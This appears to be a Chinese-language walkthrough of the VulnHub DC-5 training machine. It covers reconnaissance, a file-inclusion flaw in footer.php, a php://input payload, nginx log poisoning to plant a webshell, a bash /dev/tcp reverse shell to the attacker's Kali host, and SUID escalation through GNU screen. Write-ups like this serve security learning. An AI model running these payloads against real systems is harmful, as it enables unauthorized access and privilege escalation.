vulnhub-dc5打靶
漏洞环境
vulnhub https://www.vulnhub.com/entry/dc-5,314/
靶机:172.16.17.146
攻击机kali:172.16.17.140
描述
信息收集
nmap扫描靶机
开了111端口rpcbind,百度是拒绝服务漏洞,忽略
打开网站首页,扫一下目录
发现一个留言板,提交看看
多次提交后发现,页脚在变化,结合扫目录时候发现一个footer.php
Exploit
应该是包含了这个footer.php文件,尝试文件包含漏洞,猜一下参数名
尝试伪协议getshell,但是应该没有开启allow_url_include,默认为关闭
1 | http://127.0.0.1?file=php://input PostData:<?php phpinfo();?> |
尝试读取别的信息
权限很低,只能读取一下nginx的日志,因为扫过目录所以信息很多,翻到最后可以看到我们读取/etc/passwd的请求
写webshell
总结一下,现在我们有文件包含,能查看nginx日志
那么我是否可以构造一句话请求,让他写入日志,再利用文件包含去执行
这里有一个坑,请求发送之后,再去查看日志,却没有,其实已经写进去了
反弹shell
反弹一个shell到kali
1 | bash -c 'exec bash -i &>/dev/tcp/172.16.17.140/4444 <&1' |
这里反弹回来的就是一个交互式shell
提权
suid提权
翻了翻目录,没什么东西,看看以root权限运行的命令
1 | find / -perm -4000 2>/dev/null |
有一个screen
Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
kali搜索一下利用
将exp复制出来用蚁剑直接写到tmp目录下
在root目录下拿到flag